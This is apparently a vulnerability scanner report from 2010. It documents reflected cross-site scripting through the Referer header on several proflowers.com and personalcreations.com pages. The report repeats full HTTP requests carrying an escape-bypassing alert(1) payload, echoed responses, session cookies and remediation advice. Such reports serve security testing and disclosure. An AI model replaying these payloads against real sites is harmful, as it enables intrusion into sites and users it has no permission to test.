GET /default.aspx HTTP/1.1 Host: www.personalcreations.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=cf382\"%3balert(1)//f6c1d92f3a8
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36981\"%3balert(1)//997195d5292 was submitted in the Referer HTTP header. This input was echoed as 36981\\";alert(1)//997195d5292 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=36981\"%3balert(1)//997195d5292
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:05:36 GMT Connection: close Content-Length: 87968
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b6ccb\"%3balert(1)//af959365462 was submitted in the Referer HTTP header. This input was echoed as b6ccb\\";alert(1)//af959365462 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Affiliates.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=b6ccb\"%3balert(1)//af959365462
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:37 GMT Connection: close Content-Length: 58730
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 944f3\"%3balert(1)//1e69ee8ad93 was submitted in the Referer HTTP header. This input was echoed as 944f3\\";alert(1)//1e69ee8ad93 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ContactUs.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=944f3\"%3balert(1)//1e69ee8ad93
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:48 GMT Connection: close Content-Length: 67206
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6788f\"%3balert(1)//d4a3725c6b1 was submitted in the Referer HTTP header. This input was echoed as 6788f\\";alert(1)//d4a3725c6b1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /CustomerServiceFAQ.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=6788f\"%3balert(1)//d4a3725c6b1
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:56 GMT Connection: close Content-Length: 58489
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 84fa8\"%3balert(1)//5e7bfd40b26 was submitted in the Referer HTTP header. This input was echoed as 84fa8\\";alert(1)//5e7bfd40b26 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /PressRoom.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=84fa8\"%3balert(1)//5e7bfd40b26
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: nextAction=2cc3f40c-ec18-4621-9ba5-d31e36fc7228; domain=.proflowers.com; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:17:03 GMT Connection: close Content-Length: 50731
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d1380\"%3balert(1)//3a7641cf402 was submitted in the Referer HTTP header. This input was echoed as d1380\\";alert(1)//3a7641cf402 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ProductSearch.aspx HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=d1380\"%3balert(1)//3a7641cf402
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:16:06 GMT Connection: close Content-Length: 58725
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d49eb\"%3balert(1)//1443b728e0a was submitted in the Referer HTTP header. This input was echoed as d49eb\\";alert(1)//1443b728e0a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /anniversary-flowers-ann HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=d49eb\"%3balert(1)//1443b728e0a
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:10:54 GMT Connection: close Content-Length: 238978
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_d49eb\\";alert(1)//1443b728e0a";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54b03\"%3balert(1)//655477dc168 was submitted in the Referer HTTP header. This input was echoed as 54b03\\";alert(1)//655477dc168 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /berries-ber HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=54b03\"%3balert(1)//655477dc168
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:17:05 GMT Connection: close Content-Length: 245075
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_54b03\\";alert(1)//655477dc168";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload adde8\"%3balert(1)//7bb7e4c95a0 was submitted in the Referer HTTP header. This input was echoed as adde8\\";alert(1)//7bb7e4c95a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /best-flowers-pre HTTP/1.1 Host: www.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: PFC_PersInfo=VgNJwQZqqM5wKnWNOPfi6GrSg0Ytqi06Ix75Mz0HR141; PRVD=SiteSplitID=97; CURRENTSESSION_PFC=TestConfigDateTimeUpdated=12/16/2010 11:48:56 AM; PFC_BrowserId=e0fb93e1-21b4-45f1-99d8-8846bf4ade0d; THIRTEENMONTHS_PFC=TestAssignmentValues=xpa-1,xpb-1,pballoons-2,phl-2,pso-1,pjt-2,cnd-34,pvo-2,pbr-3,psk-2,pps-2,poe-2,zzc-2,pjs-3,pcu-1,pfl-1,mpsmediapersonalitysplit-2,ntd-1,nte-3,ntc-1,peo-2,pfp-1,phr-2,zza-2,psv-3,nta-2,ntb-1,pmo-1,ppr-2,spg-1,xpc-1,psr-2,pcy-7,zzb-2,gfr-1,apg-1,ppe-1,pcb-1; CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; BrowsingStore=cpxe1pf0pes5325ddtijua0b; ASP.NET_SessionId=cpxe1pf0pes5325ddtijua0b; Referer: http://www.google.com/search?hl=en&q=adde8\"%3balert(1)//7bb7e4c95a0
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: CURRENTSESSION_=PageSortProp5=na:na:na:na&IPAddress=204.51.113.169; domain=.proflowers.com; path=/ X-Powered-By: ASP.NET Date: Thu, 16 Dec 2010 20:13:17 GMT Connection: close Content-Length: 141552
<noscript> <div class="splashBox"> <font style="font-size:16pt;color: #fff786;margin: 10px;">We’re Sorry - </font> <p style="border-bottom: 1px solid #fff786;"><b>Your browser does not ha ...[SNIP]... );b._N=a;b._C=0;return b;}var hbx=_hbEvent("pv");hbx.vpc="HBX0100u";hbx.gn="ehg-proflowers.hitbox.com";hbx.acct="DM5210225LZZ;DM591110EAEFDXEN3";hbx.pn="Product Selection";hbx.mlc=";/organicgglgeneric_adde8\\";alert(1)//7bb7e4c95a0";hbx.pndef="title";hbx.ctdef="full";hbx.fv="";hbx.lt="auto";hbx.dlf="n";hbx.dft="n";hbx.elf="n";hbx.seg="";hbx.fnl="";hbx.cmp="";hbx.cmpn="";hbx.dcmp="";hbx.dcmpn="";hbx.dcmpe="";hbx.dcmpre="";hbx.hra ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7ccb7\"%3balert(1)//114df965dc1 was submitted in the Referer HTTP header. This input was echoed as 7ccb7\\";alert(1)//114df965dc1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
